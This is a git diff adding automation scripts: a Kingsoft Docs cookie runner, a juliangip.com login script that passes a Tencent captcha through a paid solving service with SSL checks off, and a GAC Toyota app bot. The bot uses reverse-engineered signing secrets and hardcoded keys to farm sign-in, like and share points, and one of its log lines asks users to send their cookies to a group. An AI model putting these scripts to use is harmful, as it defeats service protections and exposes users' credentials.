// 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i该参数,否则识别成功但连接已断开失败 + "type": "tencent-turing", # 类型 + "appid": aid, # 抓包所得aid/appid/id参数 tencent[aid/appid] netease[id] + "token": token, # 用户token 用于识别区分用户 + "developeraccount": "" # 软件开发者用户名 //可空 + } + response = requests.post(url, headers=headers, verify=False, timeout=90, data=json.dumps(data)) + if response.status_code == 200: + if response.json()['status'] == 200: + return response.json() + else: + print(response.json()) + return {} + return {} + + +def getFree(tk, js): + headers = { + "Host": "www.juliangip.com", + "Cookie": tk, + "sec-ch-ua": "\"Microsoft Edge\";v=\"117\", \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"117\"", + "accept": "*/*", + "content-type": "application/x-www-form-urlencoded; charset=UTF-8", + "x-requested-with": "XMLHttpRequest", + "sec-ch-ua-mobile": "?0", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43", + "sec-ch-ua-platform": "\"Windows\"", + "origin": "https://www.juliangip.com", + "sec-fetch-site": "same-origin", + "sec-fetch-mode": "cors", + "sec-fetch-dest": "empty", + "referer": "https://www.juliangip.com/users/", + "accept-language": "zh-CN,zh;q=0.9" + } + data_js = json.loads(js['data']['code']) + data = { + "randStr": data_js['randstr'], + "ticket": data_js["ticket"] + } + url = "https://www.juliangip.com/users/getFree" + response = requests.post(url, headers=headers, data=data, + verify=False) # 注意:verify=False 用于禁用SSL验证,如果需要SSL验证,请删除这个参数 + if response.status_code == 200: + print(response.json()) + else: + print(response.text) + + +def main(): + tk = jl_login(username, password) + if not tk: + print("登录失败") + return + aid = jl_users(tk) + if not aid: + print("获取aid失败") + return + js = getcode(aid[0]) + if not js: + print("获取打码平台失败") + return + getFree(tk, js) + + +if __name__ == '__main__': + main() diff --git a/脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js b/脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js new file mode 100644 index 0000000..f9f7db7 --- /dev/null +++ b/脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js @@ -0,0 +1,886 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/gqftbz.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/gqftbz.js +// # Repo: smallfawn/QLScriptPublic +// # Path: gqftbz.js +// # UploadedAt: 2026-04-01T11:27:33Z +// # SHA256: bb6ab4b50667970448a65072d2bc5d7bb542f9881aa47823602c338c2c579701 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * 广汽丰田bz APP + * scriptVersionNow = "0.0.7" + * cron 17 18 * * * gqft.js + * 23/01/23 积分任务: + * 23/06/07 修复加密 + * 23/06/14 修复CK时效短 and CK失效快 的问题 + * 23/06/15 修复各种问题 适配IOS 修复青龙版本变量自动转换问题 + * 23/08/29 修改变量为请求头的Authorization + * 24/03/25 COOKIES格式改 适应一天过期一次的API CK + * ===== 青龙--配置文件 ===== + * # 项目名称 脚本所需JS依赖 crypto-js jsencrypt 缺一不可 + * 变量文件的名字为 gqft.json 变量文件的名字为 gqft.json 变量文件的名字为 gqft.json + * COOKIE改为文件模式 参考https://github.com/smallfawn/QLScriptPublic/blob/main/cookies/gqft.json + * 只需要填每一项中的 enData和enKey即可 记得必须符合JSON格式 可以自行去验证 + * 本版本为测试版 如有BUG 及时联系 群 1021185005 + * enData和enKey是登录接口返回的响应 其他接口均不可以用 接口地址 + * 怎么抓登录包? 退出账号! 打开抓包 登录账号 完毕后关闭抓包(短信登录) + * https://gw.nevapp.gtmc.com.cn/ha/iam/api/sec/oauth/token + * 例如 + * [ + { + "acToken": "", + "rtToken": "", + "enData":"axi....", + "enKey":"Op9/OAvVPbIbb5reyq2TR0YB2PqvHbwq1nOqI6e2lSfWh5DYPV9dSmthwxak/Wp8utQ+ox01mGHL3G3JqNYxreSrGFe9qPHCsoRhD/ei0Q0mYQfr/LCJuWm+YwJKoemGnho6Pz6VHdxcarkVUxpa1j87wmOGr7clxXEhfXCCdM4lDrD1RSBlwLwKNAaLkId/JjrOZyyKnn43Pzuxbfgu0Kg+/8MpJ05L4gI9hqeTev6M63k7oVtyxVLiBYymzzfa7MZHj4M4SfD7owkpX5oLr2Uaps4t+H5KZjia3+Jy/l5/lFXw7am9DBsLBriKKgs1nV8wUC1gIz9L/jcU6IcDBA==" + }, + { + "acToken": "", + "rtToken": "", + "enData":"axisa....", + "enKey":"Op9/OAvVPbIbb5reyq2TR0YB2PqvHbwq1nOqI6e2lSfWh5DYPV9dSmthwxak/Wp8utQ+ox01mGHL3G3JqNYxreSrGFe9qPHCsoRhD/ei0Q0mYQfr/LCJuWm+YwJKoemGnho6Pz6VHdxcarkVUxpa1j87wmOGr7clxXEhfXCCdM4lDrD1RSBlwLwKNAaLkId/JjrOZyyKnn43Pzuxbfgu0Kg+/8MpJ05L4gI9hqeTev6M63k7oVtyxVLiBYymzzfa7MZHj4M4SfD7owkpX5oLr2Uaps4t+H5KZjia3+Jy/l5/lFXw7am9DBsLBriKKgs1nV8wUC1gIz9L/jcU6IcDBA==" + } +] +* 如果提示 TypeError:Cannot read properties of null (reading 'split') 那么则可以使用默认的enKey + */ + +const $ = new Env("广汽丰田"); +//const ckName = "gqft_data"; + + +//-------------------- 一般不动变量区域 ------------------------------------- +const { log } = require("console"); +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require("./sendNotify") : ""; +let envSplitor = ["&"]; //多账号分隔符 +let msg = ""; +let userList = []; +let userIdx = 0; +let userCount = 0; +let scriptVersionLatest; //最新版本 +let scriptVersionNow = "0.0.6"; //现在版本 +window = {}; +//---------------------- 自定义变量区域 ----------------------------------- +const CryptoJS = require("crypto-js"); +const JSEncrypt = require("jsencrypt"); +let appId_h5 = "a41022a5-ad1e-eb24-4fb4-7d1b7a7958f2"; //appId +let appKey_h5 = "52ae440d-8fec-5a8b-76ee-58eb6bea62f8"; //appSigSecret +let appId_android = "f31a4469-f9b9-4c10-2e97-bf2100a6d5a0"; //appId +let appKey_android = "29012175-8d3c-b89b-a61d-4ecf65ff2e3c"; //appSigSecret +//--------------------------------------------------------- + +async function start() { + //await getVersion("smallfawn/QLScriptPublic/main/gqft.js"); + log('todoList:CK改变了 修复CK时效短 and CK失效快 的问题 修复refreshToken已改变问题\nupdate:IOS适配 尽可能青龙高版本适配') + log("tips:可能有未知的BUG,如果遇到请截图和发送自己的CK给github lssues或者加群发给管理") + log(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`); + //await getNotice(); + taskall = []; + /*for (let user of userList) { + //taskall.push(await user.getToken()); + await $.wait(1000); + } + await Promise.all(taskall);*/ + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.decrypt()); + await $.wait(1000); + } + } + await Promise.all(taskall); + log("\n================== 用户信息 ==================\n"); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.user_info()); + await $.wait(1000); + } + } + await Promise.all(taskall); + + log("\n================== 执行任务 ==================\n"); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.task_signin()); + await $.wait(1000); + } + } + await Promise.all(taskall); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.art_list()); + await $.wait(1000); + } + } + await Promise.all(taskall); +} + +class UserInfo { + constructor(str) { + this.index = ++userIdx; + //this.ck = str.split("&")[0]; + //log(this.ck) + this.ckStatus = true; + this.nickname = null; + this.User_encryptData = "" + this.User_encryptKey = "" + this.deEnData = "" + this.deEnDataKey = "" + this.deEnDataIv = "" + this.User_Data = "" + this.enData = str.split("#")[0] + this.enKey = str.split("#")[1] + this.User_AccessToken = null; + this.User_RefreshToken = null + this.isChange = false + this.headerGet_h5 = {}; + } + getNonce(type) { + return type === "h5" + ? Array.from({ length: 6 }, () => + Math.floor(Math.random() * 36).toString(36) + ).join("") + : type === "android" + ? Math.floor(Math.random() * 900000) + 100000 + : ""; + } + async decrypt() { + let key = getRSADecryptResult_android(this.enKey) + //console.log(key) + let aesDekey = key.split("@DS@")[0]; + let aesDeiv = key.split("@DS@")[1]; + let result = AES_CBC_Decrypt(this.enData, aesDekey, aesDeiv); + if (result && "body" in result) { + this.User_AccessToken = result.body.accessToken + this.User_RefreshToken = result.body.refreshToken + let data = await readFile() + // 假设您有一个名为data的数组 + let modifiedData = data.map(item => { + if (item.enKey == this.enKey) { + return { ...item, acToken: result.body.accessToken, rfToken: result.body.refreshToken }; // 修改属性值 + } else { + return item; // 不需要修改的项直接返回 + } + }); + let res = await writeFile(modifiedData) + } + } + getHeadersPost_android() { + let ts = Date.now() + let nonce = this.getNonce("android"); + return { + //'Connection': 'Keep-Alive', + //'Content-Length': 402, + operateSystem: "android", + appVersion: "1.4.4", + nonce: nonce, + "Content-Type": "application/json", + "User-Agent": "okhttp/4.8.1", + appId: appId_android, + Accept: "application/json", + Referer: + "https://app.nevapp.gtmc.com.cn/h5/pages/mine/task?noAutoSign=true", + //'Accept-Encoding': 'gzip', + "timestamp": ts, + "Authorization": "Bearer " + this.User_AccessToken, + 'sig': CryptoJS.MD5( + ts + + this.User_AccessToken + + nonce + + appId_android + + appKey_android + ).toString() + }; + } + getHeadersGet_android() { + let ts = Date.now() + let nonce = this.getNonce("android"); + return { + //'Connection': 'Keep-Alive', + operateSystem: "android", + appVersion: "1.4.4", + nonce: nonce, + "User-Agent": "okhttp/4.8.1", + appId: appId_android, + Accept: "application/json", + //'Referer': 'https://app.nevapp.gtmc.com.cn/h5/pages/mine/task?noAutoSign=true', + //'Accept-Encoding': 'gzip', + "timestamp": ts, + "Authorization": "Bearer " + this.User_AccessToken, + 'sig': CryptoJS.MD5( + ts + + this.User_AccessToken + + nonce + + appId_android + + appKey_android + ).toString() + } + } + getHeadersPost_h5() { + let ts = Date.now() + let nonce = this.getNonce("h5"); + return { + Connection: "keep-alive", + //'Content-Length': 402, + operateSystem: "h5", + nonce: nonce, + "Content-Type": "application/json", + "User-Agent": + "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 BundleId/com.gtmc.nevapp DSApp/1.4.4 StatusBarHeight/30 BottomBarHeight/0", + appId: appId_h5, + Accept: "*/*", + Origin: "https://app.nevapp.gtmc.com.cn", + "X-Requested-With": "com.gtmc.nevapp", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: + "https://app.nevapp.gtmc.com.cn/h5/pages/mine/task?noAutoSign=true", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "timestamp": ts, + "Authorization": "Bearer " + this.User_AccessToken, + 'sig': CryptoJS.MD5( + ts + + this.User_AccessToken + + nonce + + appId_h5 + + appKey_h5 + ).toString() + } + } + async getToken() { //初次获取token + //log(this.ck) + this.ck = this.ck.replaceAll('/u003d', "="); // 把ASCII码为61的字符替换为等号 + + if ('QL_BRANCH' in process.env) { + //log(`是青龙环境`) + if (!compareVersion(process.env['QL_BRANCH']) || process.env['QL_BRANCH'] == 'master') { //如果小于返回true !true为false !false为 true + //log(`版本大于15.0`) + let regexp = new RegExp('\\\\', 'g'); + this.ck = this.ck.replace(regexp, '/'); + } + } + //log(this.ck) + + try { + this.ck = JSON.parse(this.ck); + } catch (e) { + this.ck = this.ck + } + + this.User_encryptData = this.ck["encryptData"] + this.User_encryptKey = this.ck["encryptKey"] + //log(this.User_encryptKey) + this.deEnData = getRSADecryptResult_android(this.User_encryptKey) + //log( this.deEnData) + if (!this.deEnData) { + this.deEnDataKey = 'ajgekbmgfkasefqk' + this.deEnDataIv = "cd1d955be8e4c11a" + this.User_Data = AES_CBC_Decrypt(this.User_encryptData, this.deEnDataKey, this.deEnDataIv) + this.User_AccessToken = this.User_Data["body"]['accessToken'] + this.User_RefreshToken = this.User_Data["body"]['refreshToken'] + await this.refresh_token() + } else { + //log(this.deEnData) + this.deEnDataKey = this.deEnData.split("@DS@")[0]; + this.deEnDataIv = this.deEnData.split("@DS@")[1]; + this.User_Data = AES_CBC_Decrypt(this.User_encryptData, this.deEnDataKey, this.deEnDataIv) + this.User_AccessToken = this.User_Data["body"]['accessToken'] + this.User_RefreshToken = this.User_Data["body"]['refreshToken'] + await this.refresh_token() + } + + } + + async user_info() { + try { + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/community/lgn/user/getLoginUserInfo`, + headers: this.getHeadersGet_android(), + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.header.code == 10000000) { + DoubleLog(`账号[${this.index}] 欢迎用户: [${result.body.baseInfo.nickname}]🎉`); + this.ckStatus = true; + this.nickname = result.body.baseInfo.nickname + } else if (result.header.code == 10001007) { + DoubleLog(`账号[${this.index}] 用户查询:失败 ❌ 了呢,原因Token过期,现在即将刷新token!`); + await this.refresh_token() + this.ckStatus = false; + console.log(result); + } else if (result.header.code = 10009999) { + DoubleLog(`账号[${this.index}] 用户查询:失败 ❌ 了呢,原因refreshToken已改变,请重新获取CK!`); + this.ckStatus = false; + } else { + DoubleLog(`账号[${this.index}] 用户查询:失败 ❌ 了呢,原因未知!`); + this.ckStatus = false; + console.log(result); + } + } catch (e) { + console.log(e); + } + } + + + /** + * 签到 + */ + async task_signin() { + try { + let YO = `${KO()}@DS@${KO()}`; + let key = YO.split("@DS@")[0]; + let iv = YO.split("@DS@")[1]; + /*console.log(YO); + log(key) + log(iv)*/ + let bodydata = {}; + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/marketing/lgn/task/sec/signin`, + headers: this.getHeadersPost_h5(), + body: JSON.stringify({ + encryptKey: getRSAEncryptResult(YO), + encryptData: AES_CBC_Encrypt(bodydata, key, iv), + }), + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if ("encryptData" in result) { + let rsaDeData = result.encryptKey; + let rsaDeResult = getRSADecryptResult(rsaDeData); + let aesDeData = result.encryptData; + let aesDekey = rsaDeResult.split("@DS@")[0]; + let aesDeiv = rsaDeResult.split("@DS@")[1]; + let deResult = AES_CBC_Decrypt(aesDeData, aesDekey, aesDeiv); + if ((deResult.header.code = "10000000")) { + DoubleLog(`账号[${this.index}] 签到: ${deResult.header.message}🎉`); + } else { + DoubleLog(`账号[${this.index}] 签到: ${deResult.header.message}`); + } + } else { + DoubleLog(`账号[${this.index}] 签到:失败 ❌ 了呢,原因未知!`); + } + } catch (e) { + console.log(e); + } + } + /** + * 阅读 + * @param {*} artId + */ + async task_read(artId) { + try { + let YO = `${KO()}@DS@${KO()}`; + let key = YO.split("@DS@")[0]; + let iv = YO.split("@DS@")[1]; + /*console.log(YO); + log(key) + log(iv)*/ + let bodydata = { postId: artId }; + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/community/sec/post/detail`, + headers: this.getHeadersPost_h5(), + body: JSON.stringify({ + encryptKey: getRSAEncryptResult(YO), + encryptData: AES_CBC_Encrypt(bodydata, key, iv), + }), + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if ("encryptData" in result) { + let rsaDeData = result.encryptKey; + let rsaDeResult = getRSADecryptResult(rsaDeData); + let aesDeData = result.encryptData; + let aesDekey = rsaDeResult.split("@DS@")[0]; + let aesDeiv = rsaDeResult.split("@DS@")[1]; + let deResult = AES_CBC_Decrypt(aesDeData, aesDekey, aesDeiv); + if ((deResult.header.code = "10000000")) { + DoubleLog( + `账号[${this.index}] 阅读文章: ${deResult.header.message}🎉` + ); + } else { + DoubleLog( + `账号[${this.index}] 阅读文章: ${deResult.header.message}` + ); + } + } else { + DoubleLog(`账号[${this.index}] 阅读文章:失败 ❌ 了呢,原因未知!`); + } + } catch (e) { + console.log(e); + } + } + /** + * 点赞帖子 + */ + async task_like(artId) { + + try { + let YO = `${KO()}@DS@${KO()}`; + let key = YO.split("@DS@")[0]; + let iv = YO.split("@DS@")[1]; + /*console.log(YO); + log(key) + log(iv)*/ + let bodydata = { subjectId: artId, subjectType: "POST" }; + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/community/lgn/sec/user/like`, + headers: this.getHeadersPost_android(), + body: JSON.stringify({ + encryptKey: getRSAEncryptResult(YO), + encryptData: AES_CBC_Encrypt(bodydata, key, iv), + }), + }, + result = await httpRequest(options); + //console.log(options); + //console.log('点赞得结果',result); + if ("encryptData" in result) { + let rsaDeData = result.encryptKey; + let rsaDeResult = getRSADecryptResult_android(rsaDeData); + let aesDeData = result.encryptData; + let aesDekey = rsaDeResult.split("@DS@")[0]; + let aesDeiv = rsaDeResult.split("@DS@")[1]; + let deResult = AES_CBC_Decrypt(aesDeData, aesDekey, aesDeiv); + if ((deResult.header.code = "10000000")) { + DoubleLog( + `账号[${this.index}] 点赞文章: ${deResult.header.message}🎉` + ); + } else { + DoubleLog( + `账号[${this.index}] 点赞文章: ${deResult.header.message}` + ); + } + } else { + DoubleLog(`账号[${this.index}] 点赞文章:失败 ❌ 了呢,原因未知!`); + } + } catch (e) { + console.log(e); + } + } + /** + * 分享 + */ + async task_share(artId) { + try { + let YO = `${KO()}@DS@${KO()}`; + let key = YO.split("@DS@")[0]; + let iv = YO.split("@DS@")[1]; + /*console.log(YO); + log(key) + log(iv)*/ + let bodydata = { subjectId: artId, subjectType: "POST" }; + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/community/lgn/sec/user/forward`, + headers: this.getHeadersPost_h5(), + body: JSON.stringify({ + encryptKey: getRSAEncryptResult(YO), + encryptData: AES_CBC_Encrypt(bodydata, key, iv), + }), + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if ("encryptData" in result) { + let rsaDeData = result.encryptKey; + let rsaDeResult = getRSADecryptResult(rsaDeData); + let aesDeData = result.encryptData; + let aesDekey = rsaDeResult.split("@DS@")[0]; + let aesDeiv = rsaDeResult.split("@DS@")[1]; + let deResult = AES_CBC_Decrypt(aesDeData, aesDekey, aesDeiv); + if ((deResult.header.code = "10000000")) { + DoubleLog( + `账号[${this.index}] 分享文章: ${deResult.header.message}🎉` + ); + } else { + DoubleLog( + `账号[${this.index}] 分享文章: ${deResult.header.message}` + ); + } + } else { + DoubleLog(`账号[${this.index}] 分享文章:失败 ❌ 了呢,原因未知!`); + } + } catch (e) { + console.log(e); + } + } + /** + * 帖子列表 + * + */ + async art_list() { + try { + let bodydata = { queryPostType: "NEWEST", pageNo: 1, pageSize: 20 }; + let options = { + url: `https://gw.nevapp.gtmc.com.cn/main/api/community/post/page`, + headers: this.getHeadersPost_h5(), + body: JSON.stringify(bodydata), + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.header.code == "10000000") { + for (let i = 0; i < 10; i++) { + DoubleLog(`账号[${this.index}] 文章 [${result.body.list[i].id}]`); + let artId = result.body.list[i].id; + //DoubleLog('开始浏览') + await $.wait(5000); + await this.task_read(artId); + //DoubleLog('开始点赞') + await $.wait(5000); + await this.task_like(artId); + //DoubleLog('开始分享') + await $.wait(5000); + await this.task_share(artId); + } + } else { + DoubleLog(`账号[${this.index}] 获取帖子列表:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async refresh_token() { + let headers = this.getHeadersPost_android() + headers['DeviceId'] = '417d0945-b207-44ea-b185-c5673d268b81' + //headers["RegistrationID"] = '1a0018970bbcc32a71a' + try { + let YO = `${KO()}@DS@${KO()}` + let key = YO.split('@DS@')[0] + let iv = YO.split('@DS@')[1] + //console.log(YO); + //log(key) + //log(iv) + let options = { + url: `https://gw.nevapp.gtmc.com.cn/ha/iam/api/lgn/sec/checkAndUpdateToken`, + headers: headers, + body: JSON.stringify({ "encryptKey": getRSAEncryptResult(YO), "encryptData": AES_CBC_Encrypt({ "refreshToken": this.User_RefreshToken }, key, iv) }) + }, result = await httpRequest(options); + //console.log(options); + //console.log(result); + if ("encryptData" in result) { + let rsaDeData = result.encryptKey; + let rsaDeResult = getRSADecryptResult_android(rsaDeData); + //log(rsaDeResult) + let aesDeData = result.encryptData; + let aesDekey = rsaDeResult.split("@DS@")[0]; + let aesDeiv = rsaDeResult.split("@DS@")[1]; + let deResult = AES_CBC_Decrypt(aesDeData, aesDekey, aesDeiv); + //log(deResult) + if (deResult.header.code == "10000000") { + // 假设您有一个名为data的数组 + let data = await readFile() + let newData = data.filter(item => item.enKey !== this.enKey); + + this.User_AccessToken = deResult["body"]["accessToken"] + this.User_RefreshToken = deResult["body"]["refreshToken"] + + newData.push({ acToken: this.User_AccessToken, rfToken: this.User_RefreshToken, enData: result.encryptData, enKey: result.encryptKey }) + let writeResult = await writeFile(newData) + if (writeResult) { + console.log(`刷新CK && 写入文件成功`) + await this.user_info() + await this.task_signin() + await this.art_list() + } else { + console.log(`刷新CK && 写入文件失败`) + } + this.ckStatus = true + } else { + this.ckStatus = false + } + } else { + this.ckStatus = false + } + } catch (e) { + console.log(e); + } + } +} +function readFile() { + const fs = require('fs'); + let file = fs.existsSync("./gqft.json"); + if (!file) { console.log("./gqft.json" + "文件不存在"); return [] } + return new Promise((resolve, reject) => { + fs.readFile('./gqft.json', 'utf8', function (err, data) { + if (err) { + reject(err); + } else { + try { + data = JSON.parse(data); + } catch (error) { + + } + resolve(data); + } + }); + }); +} +function writeFile(data) { + const fs = require('fs'); + return new Promise((resolve, reject) => { + fs.writeFile("./gqft.json", JSON.stringify(data, null, 2), (err) => { + if (err) { + reject(false); + } else { + resolve(true); + } + }); + }); +} + +!(async () => { + if (!(await checkEnv())) return; + + if (userList.length > 0) { + await start(); + } + await SendMsg(msg); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +// 变量检查与处理 +async function checkEnv() { + let arr = await readFile() + //console.log(arr) + + if (arr && arr.length <= 0) return console.log("未找到CK") + let tmp = [] + + for (let i of arr) { + + tmp.push(`${i.enData}#${i.enKey}`) + } + let userCookie = tmp.join("&"); + if (userCookie) { + //console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + userCount = userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userCount}个账号`), true; //true == !0 +} +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options, method) { + method = options.method + ? options.method.toLowerCase() + : options.body + ? "post" + : "get"; + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + $.logErr(err); + } else { + if (data) { + typeof JSON.parse(data) == "object" + ? (data = JSON.parse(data)) + : (data = data); + resolve(data); + } else { + console.log(`请求api返回数据为空,请检查自身原因`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +/** + * 判断版本号是否小于 V2.15.0 小于返回true + * @param {*} version + * @returns + */ +function compareVersion(version) { + const currentVersion = 'v2.12.2'; + const current = currentVersion.substring(1).split('.'); + const target = version.substring(1).split('.'); + for (let i = 0; i < current.length; i++) { + const c = parseInt(current[i]); + const t = parseInt(target[i] || 0); + if (c > t) { + return true; + } else if (c < t) { + return false; + } + } + return false; +} +/** + * 16位随机数 + * @returns + */ +function KO() { + let e = Math.random().toString(36).substr(2); + for (; e.length < 16;) e += Math.random().toString(36).substr(2); + return (e = e.substr(0, 16)), e; +} +function AES_CBC_Encrypt(data, key, iv) { + key = CryptoJS.enc.Utf8.parse(key); + iv = CryptoJS.enc.Utf8.parse(iv); + if ("object" == typeof data) + try { + data = JSON.stringify(data); + } catch (r) { + console.log("encrypt error:", r); + } + data = CryptoJS.enc.Utf8.parse(data); + //console.log(data); + return CryptoJS.AES.encrypt(data, key, { + iv: iv, + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }).ciphertext.toString(CryptoJS.enc.Base64); +} + +//逆向参数url https://app.nevapp.gtmc.com.cn/h5/assets/index.a0bf569f.js + + + + +function getRSAEncryptResult(data) { + window = {}; + let crypt = new JSEncrypt(); + let publicKey = + "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA49jxpFBAoEslNYrHb0wT8nCpGBn3hvjgToNkp7lFpsSeRS7WbHoFJEvmf1U83cHrbTzRFRowPft/FGBw6/6dZcmMjMgz1n0FWlqk0d7QjEDL+t9Dj9tH9e/qdGfJ3bzR0ZgpgQMpKpx5I5fcEgzMYnHWGLZBY+v+PlPTN/1mz0nnRtIIxb8YuZZFvadfGTC8jeD7tMERpd5zENml5cLbVujENsag9AIpvLdvR6fSewi3l9QmssWpty50UpcAWsvAs+ExRYyUe/s1lwfSdSciW6Lrj4sp4MMaWifdTQUbKKEeuRugEqJSDrxhxoybEbSbl2CYaTR8kifZ1n+lcAh6cQIDAQAB"; + crypt.setPublicKey(publicKey); + // 加密 + //log(`待加密数据${data}`) + var enc = crypt.encrypt(data); + return enc; +} +function getRSADecryptResult(data) { + window = {}; + let crypt = new JSEncrypt(); + let privateKey = + 